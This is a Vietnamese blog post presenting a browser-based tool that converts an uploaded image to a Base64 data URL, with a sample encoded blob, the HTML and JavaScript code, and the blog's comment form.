79j/ABo/4VvB/wBBCX/v2P8AGj+2sL/N+DBcK5qtofiv8ziY7iaKOSKOaRI5QA6KxAfHTI71HXd/8K4t/wDoIS/9+x/jSf8ACt4P+ghL/wB+x/jS/tnC/wA34MX+qWZ/yfijiIZpbaVZYZHikXlXRipH0IqzJrOpzHMuo3jnaU+aZj8p6jr0Ndd/wriD/oIS/wDfsf405Phva5+fUZgPaMf40/7Zwu3N+DGuFc0itIfiji11C9R4nS7uFeFdkbCQgoPQeg+lNS+uolREuZ0WN/MQK5AVv7w9D712p+HEGTjUJcf9cx/jSf8ACuLf/oIS/wDfsf40f21hf5vwYf6q5p/J+KOMTULyPztl1Ovnf63bIR5n+96/jS/2le/Zfsn2y4+zf88fMbZ6/dziuy/4VxB/0EJf+/Y/xp6/Dey2jdqNwD7RD/GhZzhf5vwYf6rZqvsfiv8AM4uPU76KNIo725SNM7FWVgFz1wM8dTUdtd3FlL5trPLBJjG+Jypx9RXbN8OLfJ26hLjtmMZ/nSf8K4g/6CEv/fsf40f21hf5vwYf6qZrp7n4r/M4u6vbq9cSXVxNcOBgNK5YgfU0s2o3lxAtvNd3EkKfdjeQlV+g6V2i/Di1z8+ozAe0Y/xpX+HFqMbNRmPrmID+tH9s4X+b8GH+q2a3+D8V/mcWNRvRIJBd3AcJ5QbzDkJ/dznp7U1L26jESpczKISWiAcjyyecr6fhXaf8K4g/6CEv/fsf40f8K4t/+ghL/wB+x/jR/bWF/m/Bh/qpmv8AJ+K/zOPbVtReVJWv7tpEJKuZmJUnqQc8VGL66CxqLmcCJi8Y8w4Rj3HofpXaf8K4g/6CEn/fsf40f8K4t/8AoIS/9+x/jR/bWF/m/BjfCuav7H4o44apfrHLEL26EcxLSIJWw5PUkZ5NRRXE0KSJFNJGko2uqsQHHofWu2/4VxB/0EJf+/Y/xo/4VxB/0EJf+/Y/xo/trC/zfgxf6q5r/J+KOJS6njheBJpVikILxhiFbHTI6GnTX13cujzXU8rRjCM8hJUe2eldp/wreD/oIS/9+x/jR/wri3/6CMv/AH7H+NH9tYX+b8GH+qmaWtyfijj5dW1GZlaW/u5GVg6lpmJDDoRk9R61G97dSI8b3MzI7+YylyQz/wB4+p967T/hXFv/ANBCX/v2P8aP+FcW/wD0EJf+/Y/xo/trC/zfgxvhXNXvD/yZHIS6vqM+PNv7uTBDDdMx5HQ9e1RzaheXMYjnu7iVFYsFeQsAT3we9dn/AMK4g/6CEv8A37H+NH/CuIP+ghL/AN+x/jR/bWF/m/Bh/qtmr3j+K/zONGpXy3JulvLkXB4Mwlbefxzmop55rmVpZ5XlkblndixP1Jrt/wDhXEH/AEEJf+/Y/wAaP+FcW/8A0EZf+/Y/xo/trC/zfgxPhTNGrOH4o4Wiu6/4VxB/0EJf+/Y/xo/4VxB/0EJf+/Y/xpf2zhf5vwZP+qWZ/wAn4o4Wiu6/4VvB/wBBCX/v2P8AGij+2cL/ADfgw/1SzP8Ak/FHZUUUV8SfsbCiiikCCiiimAh60tFFABiiiikAUUUUAGKKKKaGFGKKKBIKKKKACiiigYYooooQBRRRQLqFIaKKB9QpaKKBCGiiimAvammiipYIdRRRTEFFFFABSAUUUIpC4ooooBgKKKKCQoxRRQUgxRRRQDCiiihAj//



Còn đây là ĐOẠN CODE

<div class="post-body entry-content" id="post-body-7160119303718659908">
Công cụ chuyển đổi hình ảnh sang Base64 CODE, lưu ý các bạn không nên chọn ảnh với kích thước quá lớn. Điều này khiến cho trình duyệt của bạn bị treo đó.
<b>Chọn tệp</b> và đợi một chút, hình ảnh sẽ được chuyển đổi cho bạn!
<input id="inputFileToLoad" onchange="encodeImageFileAsURL();" type="file" />
<div id="imgTest">
</div>
<h3>
Base64 CODE From Image</h3>
<textarea id="ket_qua" style="height: 300px; width: 100%;"></textarea>
<script type="text/javascript">
function encodeImageFileAsURL() {
var filesSelected = document.getElementById("inputFileToLoad").files;
if (filesSelected.length > 0) {
var fileToLoad = filesSelected[0];
var fileReader = new FileReader();
fileReader.onload = function(fileLoadedEvent) {
var srcData = fileLoadedEvent.target.result; // <--- data: base64
var newImage = document.createElement('img');
newImage.src = srcData;
document.getElementById("imgTest").innerHTML = newImage.outerHTML;
//alert("Converted Base64 version is " + document.getElementById("imgTest").innerHTML);
//console.log("Converted Base64 version is " + document.getElementById("imgTest").innerHTML);
$("#ket_qua").val(newImage.src);
}
fileReader.readAsDataURL(fileToLoad);
}
}
</script>
<div class="entry-footer">
<i class="fa fa-folder-o"></i>
<span class="label-info">
</span>
</div>
<div style="clear: both;">
</div>
</div>
<div class="clear">
</div>
<div style="clear: both;">
</div>
<div class="comments" id="comments">
<a href="https://www.blogger.com/null" name="comments"></a>

<h3>
0 Response to "Base64 Image Encoder"
</h3>
<div id="Blog1_comments-block-wrapper">
<dl class="avatar-comment-indent" id="comments-block">
</dl>
</div>
<div class="comment-footer">
</div>
<div class="comment-form">
<a href="https://www.blogger.com/null" name="comment-form"></a>
• Chèn link bằng thẻ: &lt;a href="<b>Link</b>" rel="nofollow"&gt;<b>Tên</b>&lt;/a&gt;
• Tạo chữ <b>&lt;b&gt;đậm&lt;/b&gt;</b> và <b>&lt;i&gt;Ngiêng&lt;/i&gt;</b>
• Không <b>SPAM</b> bạn nhé!
• <b>Lưu ý:</b> Trường hợp bạn để lại Backlink về website của bạn, nếu phù hợp thì mình vẫn chấp nhận nhận xét đó :D
<a href="https://www.blogger.com/comment-iframe.g?blogID=338172575987981576&amp;pageID=7160119303718659908" id="comment-editor-src"></a>
<iframe allowtransparency="true" class="blogger-iframe-colorize blogger-comment-from-post" frameborder="0" height="410" id="comment-editor" name="comment-editor" src="" width="100%"></iframe>
<script src="https://www.blogger.com/static/v1/jsbin/2870402004-comment_from_post_iframe.js" type="text/javascript"></script>
<script type="text/javascript">
BLOG_CMT_createIframe('https://www.blogger.com/rpc_relay.html', '16590471765744964530');
</script>
</div>
<div id="backlinks-container">
<div id="Blog1_backlinks-container">
</div>
</div>
</div>


Chúc các bạn thành công :)